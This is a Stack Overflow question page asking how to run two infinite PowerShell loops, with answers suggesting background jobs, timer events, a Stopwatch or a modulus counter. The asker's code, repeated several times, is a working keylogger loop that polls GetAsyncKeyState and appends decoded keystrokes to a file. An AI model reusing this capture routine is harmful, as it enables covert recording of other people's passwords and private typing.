how can I add two true while on the same while?












0















I want to keep running forever the appending function to file , but I aslo want to add a second true while that runs x stuff every 10s , but how can I handle that?



I have tried doing while($true){while ($true) {
write-host 'do stuff...'
Start-Sleep -Seconds 60
} }
, but I dindt have a luck.



while ($true) {
Start-Sleep -Milliseconds 40

# scan all ASCII codes above 8
for ($ascii = 9; $ascii -le 254; $ascii++) {
# get current key state
$state = $API::GetAsyncKeyState($ascii)

# is key pressed?
if ($state -eq -32767) {
$null = [console]::CapsLock

# translate scan code to real code
$virtualKey = $API::MapVirtualKey($ascii, 3)

# get keyboard state for virtual keys
$kbstate = New-Object Byte 256
$checkkbstate = $API::GetKeyboardState($kbstate)

# prepare a StringBuilder to receive input key
$mychar = New-Object -TypeName System.Text.StringBuilder

# translate virtual key
$success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)

if ($success)
{
# add key to logger file
[System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
}
}
}
}


I expect my first while true append every log to the file forever , but I also want to keep running every 10s to the second while true , but how can I do this?










share|improve this question























  • If you want a double while, you need to exit at some point the inner while loop so it can go back into the outer while. To do so, add a break statement at the end of your inner while. When reached, it tells Powershell to exit that while, sending the execution back to the outer loop.

    – Sage Pourpre
    Jan 3 at 5:03











  • in code level how would it be?

    – SkyBulk
    Jan 3 at 5:07











  • pastebin.com/qqSLcxbi That being said, if the inner loop take 15 seconds to execute, it means you won't get to the code of the outer loop every 10 seconds.

    – Sage Pourpre
    Jan 3 at 5:28






  • 1





    Why permanent $True ? Rather use a real condition or a for-loop. Especialy when you concatenate them you can use the control variable of the outer for-loop in the condition of the inner one.

    – T-Me
    Jan 3 at 8:27
















0















I want to keep running forever the appending function to file , but I aslo want to add a second true while that runs x stuff every 10s , but how can I handle that?



I have tried doing while($true){while ($true) {
write-host 'do stuff...'
Start-Sleep -Seconds 60
} }
, but I dindt have a luck.



while ($true) {
Start-Sleep -Milliseconds 40

# scan all ASCII codes above 8
for ($ascii = 9; $ascii -le 254; $ascii++) {
# get current key state
$state = $API::GetAsyncKeyState($ascii)

# is key pressed?
if ($state -eq -32767) {
$null = [console]::CapsLock

# translate scan code to real code
$virtualKey = $API::MapVirtualKey($ascii, 3)

# get keyboard state for virtual keys
$kbstate = New-Object Byte 256
$checkkbstate = $API::GetKeyboardState($kbstate)

# prepare a StringBuilder to receive input key
$mychar = New-Object -TypeName System.Text.StringBuilder

# translate virtual key
$success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)

if ($success)
{
# add key to logger file
[System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
}
}
}
}


I expect my first while true append every log to the file forever , but I also want to keep running every 10s to the second while true , but how can I do this?










share|improve this question























  • If you want a double while, you need to exit at some point the inner while loop so it can go back into the outer while. To do so, add a break statement at the end of your inner while. When reached, it tells Powershell to exit that while, sending the execution back to the outer loop.

    – Sage Pourpre
    Jan 3 at 5:03











  • in code level how would it be?

    – SkyBulk
    Jan 3 at 5:07











  • pastebin.com/qqSLcxbi That being said, if the inner loop take 15 seconds to execute, it means you won't get to the code of the outer loop every 10 seconds.

    – Sage Pourpre
    Jan 3 at 5:28






  • 1





    Why permanent $True ? Rather use a real condition or a for-loop. Especialy when you concatenate them you can use the control variable of the outer for-loop in the condition of the inner one.

    – T-Me
    Jan 3 at 8:27














0












0








0








I want to keep running forever the appending function to file , but I aslo want to add a second true while that runs x stuff every 10s , but how can I handle that?



I have tried doing while($true){while ($true) {
write-host 'do stuff...'
Start-Sleep -Seconds 60
} }
, but I dindt have a luck.



while ($true) {
Start-Sleep -Milliseconds 40

# scan all ASCII codes above 8
for ($ascii = 9; $ascii -le 254; $ascii++) {
# get current key state
$state = $API::GetAsyncKeyState($ascii)

# is key pressed?
if ($state -eq -32767) {
$null = [console]::CapsLock

# translate scan code to real code
$virtualKey = $API::MapVirtualKey($ascii, 3)

# get keyboard state for virtual keys
$kbstate = New-Object Byte 256
$checkkbstate = $API::GetKeyboardState($kbstate)

# prepare a StringBuilder to receive input key
$mychar = New-Object -TypeName System.Text.StringBuilder

# translate virtual key
$success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)

if ($success)
{
# add key to logger file
[System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
}
}
}
}


I expect my first while true append every log to the file forever , but I also want to keep running every 10s to the second while true , but how can I do this?










share|improve this question














I want to keep running forever the appending function to file , but I aslo want to add a second true while that runs x stuff every 10s , but how can I handle that?



I have tried doing while($true){while ($true) {
write-host 'do stuff...'
Start-Sleep -Seconds 60
} }
, but I dindt have a luck.



while ($true) {
Start-Sleep -Milliseconds 40

# scan all ASCII codes above 8
for ($ascii = 9; $ascii -le 254; $ascii++) {
# get current key state
$state = $API::GetAsyncKeyState($ascii)

# is key pressed?
if ($state -eq -32767) {
$null = [console]::CapsLock

# translate scan code to real code
$virtualKey = $API::MapVirtualKey($ascii, 3)

# get keyboard state for virtual keys
$kbstate = New-Object Byte 256
$checkkbstate = $API::GetKeyboardState($kbstate)

# prepare a StringBuilder to receive input key
$mychar = New-Object -TypeName System.Text.StringBuilder

# translate virtual key
$success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)

if ($success)
{
# add key to logger file
[System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
}
}
}
}


I expect my first while true append every log to the file forever , but I also want to keep running every 10s to the second while true , but how can I do this?







powershell






share|improve this question













share|improve this question











share|improve this question




share|improve this question










asked Jan 3 at 4:23









SkyBulkSkyBulk

14




14













  • If you want a double while, you need to exit at some point the inner while loop so it can go back into the outer while. To do so, add a break statement at the end of your inner while. When reached, it tells Powershell to exit that while, sending the execution back to the outer loop.

    – Sage Pourpre
    Jan 3 at 5:03











  • in code level how would it be?

    – SkyBulk
    Jan 3 at 5:07











  • pastebin.com/qqSLcxbi That being said, if the inner loop take 15 seconds to execute, it means you won't get to the code of the outer loop every 10 seconds.

    – Sage Pourpre
    Jan 3 at 5:28






  • 1





    Why permanent $True ? Rather use a real condition or a for-loop. Especialy when you concatenate them you can use the control variable of the outer for-loop in the condition of the inner one.

    – T-Me
    Jan 3 at 8:27



















  • If you want a double while, you need to exit at some point the inner while loop so it can go back into the outer while. To do so, add a break statement at the end of your inner while. When reached, it tells Powershell to exit that while, sending the execution back to the outer loop.

    – Sage Pourpre
    Jan 3 at 5:03











  • in code level how would it be?

    – SkyBulk
    Jan 3 at 5:07











  • pastebin.com/qqSLcxbi That being said, if the inner loop take 15 seconds to execute, it means you won't get to the code of the outer loop every 10 seconds.

    – Sage Pourpre
    Jan 3 at 5:28






  • 1





    Why permanent $True ? Rather use a real condition or a for-loop. Especialy when you concatenate them you can use the control variable of the outer for-loop in the condition of the inner one.

    – T-Me
    Jan 3 at 8:27

















If you want a double while, you need to exit at some point the inner while loop so it can go back into the outer while. To do so, add a break statement at the end of your inner while. When reached, it tells Powershell to exit that while, sending the execution back to the outer loop.

– Sage Pourpre
Jan 3 at 5:03





If you want a double while, you need to exit at some point the inner while loop so it can go back into the outer while. To do so, add a break statement at the end of your inner while. When reached, it tells Powershell to exit that while, sending the execution back to the outer loop.

– Sage Pourpre
Jan 3 at 5:03













in code level how would it be?

– SkyBulk
Jan 3 at 5:07





in code level how would it be?

– SkyBulk
Jan 3 at 5:07













pastebin.com/qqSLcxbi That being said, if the inner loop take 15 seconds to execute, it means you won't get to the code of the outer loop every 10 seconds.

– Sage Pourpre
Jan 3 at 5:28





pastebin.com/qqSLcxbi That being said, if the inner loop take 15 seconds to execute, it means you won't get to the code of the outer loop every 10 seconds.

– Sage Pourpre
Jan 3 at 5:28




1




1





Why permanent $True ? Rather use a real condition or a for-loop. Especialy when you concatenate them you can use the control variable of the outer for-loop in the condition of the inner one.

– T-Me
Jan 3 at 8:27





Why permanent $True ? Rather use a real condition or a for-loop. Especialy when you concatenate them you can use the control variable of the outer for-loop in the condition of the inner one.

– T-Me
Jan 3 at 8:27












3 Answers
3






active

oldest

votes


















1














Have separate scripts for both actions. One with infinite while loop another with the delay and call them as background jobs.



$AppendJob = Start-Job -FilePath c:TempFirstWhile.ps1 -Name AppenJob
$DelayJob = Start-Job -FilePath c:TempSecondWhile.ps1 -Name DelayJob





share|improve this answer































    1














    Another possible solution not yet mentionned would be to keep you main loop and have a timer event registered for the 10 seconds "loop".



    $timer = new-object timers.timer 
    $action = {
    # Edit me... put whatever you want to be done every 10 seconds here instead.
    write-host "Timer Elapse Event: $(get-date -Format ‘HH:mm:ss’)" -ForegroundColor Cyan
    }

    $timer.Interval = 10000 #10 seconds
    Register-ObjectEvent -InputObject $timer -EventName elapsed –SourceIdentifier '10secTimer' -Action $action
    $timer.start()


    while ($true) {
    Write-Host 'Append to file...'
    Start-Sleep -Seconds 3
    }


    #to stop run
    $timer.stop()
    #cleanup
    Unregister-Event 10secTimer


    You could also use one while loop and make use of a Stopwatch object to check when 10 seconds elapsed and perform another action then.



    $StopWatch = New-Object -TypeName 'System.Diagnostics.Stopwatch'
    $StopWatch.Start()

    while ($true) {
    Write-Host 'Do stuff...' -ForegroundColor Cyan
    Write-Host "$($StopWatch.Elapsed.Seconds) seconds elapsed"
    Start-Sleep -Milliseconds 1000

    if ($StopWatch.Elapsed.Seconds -ge 10) {

    # Put everything for your 10 seconds here.
    Write-Host 'Do other stuff...' -ForegroundColor Green

    $StopWatch.Reset()
    $StopWatch.Start()
    }

    }
    $StopWatch.Stop()


    To answer the "two true on the same while", if you wanted to use 2 While loop imbricated like your example, you'd need to add a break statement in the inner loop if you ever want to return to the outer loop.



    while ($true) {
    Write-Host 'Outer loop...'
    Start-Sleep -Seconds 3

    While ($true) {
    Write-Host 'Inner loop...'
    break; # If you don't break, you'll never exit the inner loop.
    }
    }





    share|improve this answer

































      0














      Use the modulus operator % it will calculate the reminder after dividing by a number:



      PS > 5 % 2
      1


      => 5 /2 = 4 rest 1



      PS > 250 % 250
      0


      Use $I++ In your function to track how often it was executed and use if with %
      to execute it every 10 seconds (10 seconds / 0.040 Seconds = 250)



      $I = 0
      $I++
      If (($I % 250) -eq 0) { do x }





      share|improve this answer























        Your Answer






        StackExchange.ifUsing("editor", function () {
        StackExchange.using("externalEditor", function () {
        StackExchange.using("snippets", function () {
        StackExchange.snippets.init();
        });
        });
        }, "code-snippets");

        StackExchange.ready(function() {
        var channelOptions = {
        tags: "".split(" "),
        id: "1"
        };
        initTagRenderer("".split(" "), "".split(" "), channelOptions);

        StackExchange.using("externalEditor", function() {
        // Have to fire editor after snippets, if snippets enabled
        if (StackExchange.settings.snippets.snippetsEnabled) {
        StackExchange.using("snippets", function() {
        createEditor();
        });
        }
        else {
        createEditor();
        }
        });

        function createEditor() {
        StackExchange.prepareEditor({
        heartbeatType: 'answer',
        autoActivateHeartbeat: false,
        convertImagesToLinks: true,
        noModals: true,
        showLowRepImageUploadWarning: true,
        reputationToPostImages: 10,
        bindNavPrevention: true,
        postfix: "",
        imageUploader: {
        brandingHtml: "Powered by u003ca class="icon-imgur-white" href="https://imgur.com/"u003eu003c/au003e",
        contentPolicyHtml: "User contributions licensed under u003ca href="https://creativecommons.org/licenses/by-sa/3.0/"u003ecc by-sa 3.0 with attribution requiredu003c/au003e u003ca href="https://stackoverflow.com/legal/content-policy"u003e(content policy)u003c/au003e",
        allowUrls: true
        },
        onDemand: true,
        discardSelector: ".discard-answer"
        ,immediatelyShowMarkdownHelp:true
        });


        }
        });














        draft saved

        draft discarded


















        StackExchange.ready(
        function () {
        StackExchange.openid.initPostLogin('.new-post-login', 'https%3a%2f%2fstackoverflow.com%2fquestions%2f54016316%2fhow-can-i-add-two-true-while-on-the-same-while%23new-answer', 'question_page');
        }
        );

        Post as a guest















        Required, but never shown

























        3 Answers
        3






        active

        oldest

        votes








        3 Answers
        3






        active

        oldest

        votes









        active

        oldest

        votes






        active

        oldest

        votes









        1














        Have separate scripts for both actions. One with infinite while loop another with the delay and call them as background jobs.



        $AppendJob = Start-Job -FilePath c:TempFirstWhile.ps1 -Name AppenJob
        $DelayJob = Start-Job -FilePath c:TempSecondWhile.ps1 -Name DelayJob





        share|improve this answer




























          1














          Have separate scripts for both actions. One with infinite while loop another with the delay and call them as background jobs.



          $AppendJob = Start-Job -FilePath c:TempFirstWhile.ps1 -Name AppenJob
          $DelayJob = Start-Job -FilePath c:TempSecondWhile.ps1 -Name DelayJob





          share|improve this answer


























            1












            1








            1







            Have separate scripts for both actions. One with infinite while loop another with the delay and call them as background jobs.



            $AppendJob = Start-Job -FilePath c:TempFirstWhile.ps1 -Name AppenJob
            $DelayJob = Start-Job -FilePath c:TempSecondWhile.ps1 -Name DelayJob





            share|improve this answer













            Have separate scripts for both actions. One with infinite while loop another with the delay and call them as background jobs.



            $AppendJob = Start-Job -FilePath c:TempFirstWhile.ps1 -Name AppenJob
            $DelayJob = Start-Job -FilePath c:TempSecondWhile.ps1 -Name DelayJob






            share|improve this answer












            share|improve this answer



            share|improve this answer










            answered Jan 3 at 4:43









            Prasoon Karunan VPrasoon Karunan V

            1,8592722




            1,8592722

























                1














                Another possible solution not yet mentionned would be to keep you main loop and have a timer event registered for the 10 seconds "loop".



                $timer = new-object timers.timer 
                $action = {
                # Edit me... put whatever you want to be done every 10 seconds here instead.
                write-host "Timer Elapse Event: $(get-date -Format ‘HH:mm:ss’)" -ForegroundColor Cyan
                }

                $timer.Interval = 10000 #10 seconds
                Register-ObjectEvent -InputObject $timer -EventName elapsed –SourceIdentifier '10secTimer' -Action $action
                $timer.start()


                while ($true) {
                Write-Host 'Append to file...'
                Start-Sleep -Seconds 3
                }


                #to stop run
                $timer.stop()
                #cleanup
                Unregister-Event 10secTimer


                You could also use one while loop and make use of a Stopwatch object to check when 10 seconds elapsed and perform another action then.



                $StopWatch = New-Object -TypeName 'System.Diagnostics.Stopwatch'
                $StopWatch.Start()

                while ($true) {
                Write-Host 'Do stuff...' -ForegroundColor Cyan
                Write-Host "$($StopWatch.Elapsed.Seconds) seconds elapsed"
                Start-Sleep -Milliseconds 1000

                if ($StopWatch.Elapsed.Seconds -ge 10) {

                # Put everything for your 10 seconds here.
                Write-Host 'Do other stuff...' -ForegroundColor Green

                $StopWatch.Reset()
                $StopWatch.Start()
                }

                }
                $StopWatch.Stop()


                To answer the "two true on the same while", if you wanted to use 2 While loop imbricated like your example, you'd need to add a break statement in the inner loop if you ever want to return to the outer loop.



                while ($true) {
                Write-Host 'Outer loop...'
                Start-Sleep -Seconds 3

                While ($true) {
                Write-Host 'Inner loop...'
                break; # If you don't break, you'll never exit the inner loop.
                }
                }





                share|improve this answer






























                  1














                  Another possible solution not yet mentionned would be to keep you main loop and have a timer event registered for the 10 seconds "loop".



                  $timer = new-object timers.timer 
                  $action = {
                  # Edit me... put whatever you want to be done every 10 seconds here instead.
                  write-host "Timer Elapse Event: $(get-date -Format ‘HH:mm:ss’)" -ForegroundColor Cyan
                  }

                  $timer.Interval = 10000 #10 seconds
                  Register-ObjectEvent -InputObject $timer -EventName elapsed –SourceIdentifier '10secTimer' -Action $action
                  $timer.start()


                  while ($true) {
                  Write-Host 'Append to file...'
                  Start-Sleep -Seconds 3
                  }


                  #to stop run
                  $timer.stop()
                  #cleanup
                  Unregister-Event 10secTimer


                  You could also use one while loop and make use of a Stopwatch object to check when 10 seconds elapsed and perform another action then.



                  $StopWatch = New-Object -TypeName 'System.Diagnostics.Stopwatch'
                  $StopWatch.Start()

                  while ($true) {
                  Write-Host 'Do stuff...' -ForegroundColor Cyan
                  Write-Host "$($StopWatch.Elapsed.Seconds) seconds elapsed"
                  Start-Sleep -Milliseconds 1000

                  if ($StopWatch.Elapsed.Seconds -ge 10) {

                  # Put everything for your 10 seconds here.
                  Write-Host 'Do other stuff...' -ForegroundColor Green

                  $StopWatch.Reset()
                  $StopWatch.Start()
                  }

                  }
                  $StopWatch.Stop()


                  To answer the "two true on the same while", if you wanted to use 2 While loop imbricated like your example, you'd need to add a break statement in the inner loop if you ever want to return to the outer loop.



                  while ($true) {
                  Write-Host 'Outer loop...'
                  Start-Sleep -Seconds 3

                  While ($true) {
                  Write-Host 'Inner loop...'
                  break; # If you don't break, you'll never exit the inner loop.
                  }
                  }





                  share|improve this answer




























                    1












                    1








                    1







                    Another possible solution not yet mentionned would be to keep you main loop and have a timer event registered for the 10 seconds "loop".



                    $timer = new-object timers.timer 
                    $action = {
                    # Edit me... put whatever you want to be done every 10 seconds here instead.
                    write-host "Timer Elapse Event: $(get-date -Format ‘HH:mm:ss’)" -ForegroundColor Cyan
                    }

                    $timer.Interval = 10000 #10 seconds
                    Register-ObjectEvent -InputObject $timer -EventName elapsed –SourceIdentifier '10secTimer' -Action $action
                    $timer.start()


                    while ($true) {
                    Write-Host 'Append to file...'
                    Start-Sleep -Seconds 3
                    }


                    #to stop run
                    $timer.stop()
                    #cleanup
                    Unregister-Event 10secTimer


                    You could also use one while loop and make use of a Stopwatch object to check when 10 seconds elapsed and perform another action then.



                    $StopWatch = New-Object -TypeName 'System.Diagnostics.Stopwatch'
                    $StopWatch.Start()

                    while ($true) {
                    Write-Host 'Do stuff...' -ForegroundColor Cyan
                    Write-Host "$($StopWatch.Elapsed.Seconds) seconds elapsed"
                    Start-Sleep -Milliseconds 1000

                    if ($StopWatch.Elapsed.Seconds -ge 10) {

                    # Put everything for your 10 seconds here.
                    Write-Host 'Do other stuff...' -ForegroundColor Green

                    $StopWatch.Reset()
                    $StopWatch.Start()
                    }

                    }
                    $StopWatch.Stop()


                    To answer the "two true on the same while", if you wanted to use 2 While loop imbricated like your example, you'd need to add a break statement in the inner loop if you ever want to return to the outer loop.



                    while ($true) {
                    Write-Host 'Outer loop...'
                    Start-Sleep -Seconds 3

                    While ($true) {
                    Write-Host 'Inner loop...'
                    break; # If you don't break, you'll never exit the inner loop.
                    }
                    }





                    share|improve this answer















                    Another possible solution not yet mentionned would be to keep you main loop and have a timer event registered for the 10 seconds "loop".



                    $timer = new-object timers.timer 
                    $action = {
                    # Edit me... put whatever you want to be done every 10 seconds here instead.
                    write-host "Timer Elapse Event: $(get-date -Format ‘HH:mm:ss’)" -ForegroundColor Cyan
                    }

                    $timer.Interval = 10000 #10 seconds
                    Register-ObjectEvent -InputObject $timer -EventName elapsed –SourceIdentifier '10secTimer' -Action $action
                    $timer.start()


                    while ($true) {
                    Write-Host 'Append to file...'
                    Start-Sleep -Seconds 3
                    }


                    #to stop run
                    $timer.stop()
                    #cleanup
                    Unregister-Event 10secTimer


                    You could also use one while loop and make use of a Stopwatch object to check when 10 seconds elapsed and perform another action then.



                    $StopWatch = New-Object -TypeName 'System.Diagnostics.Stopwatch'
                    $StopWatch.Start()

                    while ($true) {
                    Write-Host 'Do stuff...' -ForegroundColor Cyan
                    Write-Host "$($StopWatch.Elapsed.Seconds) seconds elapsed"
                    Start-Sleep -Milliseconds 1000

                    if ($StopWatch.Elapsed.Seconds -ge 10) {

                    # Put everything for your 10 seconds here.
                    Write-Host 'Do other stuff...' -ForegroundColor Green

                    $StopWatch.Reset()
                    $StopWatch.Start()
                    }

                    }
                    $StopWatch.Stop()


                    To answer the "two true on the same while", if you wanted to use 2 While loop imbricated like your example, you'd need to add a break statement in the inner loop if you ever want to return to the outer loop.



                    while ($true) {
                    Write-Host 'Outer loop...'
                    Start-Sleep -Seconds 3

                    While ($true) {
                    Write-Host 'Inner loop...'
                    break; # If you don't break, you'll never exit the inner loop.
                    }
                    }






                    share|improve this answer














                    share|improve this answer



                    share|improve this answer








                    edited Jan 3 at 8:14

























                    answered Jan 3 at 7:59









                    Sage PourpreSage Pourpre

                    2,76221420




                    2,76221420























                        0














                        Use the modulus operator % it will calculate the reminder after dividing by a number:



                        PS > 5 % 2
                        1


                        => 5 /2 = 4 rest 1



                        PS > 250 % 250
                        0


                        Use $I++ In your function to track how often it was executed and use if with %
                        to execute it every 10 seconds (10 seconds / 0.040 Seconds = 250)



                        $I = 0
                        $I++
                        If (($I % 250) -eq 0) { do x }





                        share|improve this answer




























                          0














                          Use the modulus operator % it will calculate the reminder after dividing by a number:



                          PS > 5 % 2
                          1


                          => 5 /2 = 4 rest 1



                          PS > 250 % 250
                          0


                          Use $I++ In your function to track how often it was executed and use if with %
                          to execute it every 10 seconds (10 seconds / 0.040 Seconds = 250)



                          $I = 0
                          $I++
                          If (($I % 250) -eq 0) { do x }





                          share|improve this answer


























                            0












                            0








                            0







                            Use the modulus operator % it will calculate the reminder after dividing by a number:



                            PS > 5 % 2
                            1


                            => 5 /2 = 4 rest 1



                            PS > 250 % 250
                            0


                            Use $I++ In your function to track how often it was executed and use if with %
                            to execute it every 10 seconds (10 seconds / 0.040 Seconds = 250)



                            $I = 0
                            $I++
                            If (($I % 250) -eq 0) { do x }





                            share|improve this answer













                            Use the modulus operator % it will calculate the reminder after dividing by a number:



                            PS > 5 % 2
                            1


                            => 5 /2 = 4 rest 1



                            PS > 250 % 250
                            0


                            Use $I++ In your function to track how often it was executed and use if with %
                            to execute it every 10 seconds (10 seconds / 0.040 Seconds = 250)



                            $I = 0
                            $I++
                            If (($I % 250) -eq 0) { do x }






                            share|improve this answer












                            share|improve this answer



                            share|improve this answer










                            answered Jan 3 at 7:25









                            T-MeT-Me

                            497212




                            497212






























                                draft saved

                                draft discarded




















































                                Thanks for contributing an answer to Stack Overflow!


                                • Please be sure to answer the question. Provide details and share your research!

                                But avoid



                                • Asking for help, clarification, or responding to other answers.

                                • Making statements based on opinion; back them up with references or personal experience.


                                To learn more, see our tips on writing great answers.




                                draft saved


                                draft discarded














                                StackExchange.ready(
                                function () {
                                StackExchange.openid.initPostLogin('.new-post-login', 'https%3a%2f%2fstackoverflow.com%2fquestions%2f54016316%2fhow-can-i-add-two-true-while-on-the-same-while%23new-answer', 'question_page');
                                }
                                );

                                Post as a guest















                                Required, but never shown





















































                                Required, but never shown














                                Required, but never shown












                                Required, but never shown







                                Required, but never shown

































                                Required, but never shown














                                Required, but never shown












                                Required, but never shown







                                Required, but never shown







                                Popular posts from this blog

                                generate and download xml file after input submit (php and mysql) - JPK

                                Angular Downloading a file using contenturl with Basic Authentication

                                Can't read property showImagePicker of undefined in react native iOS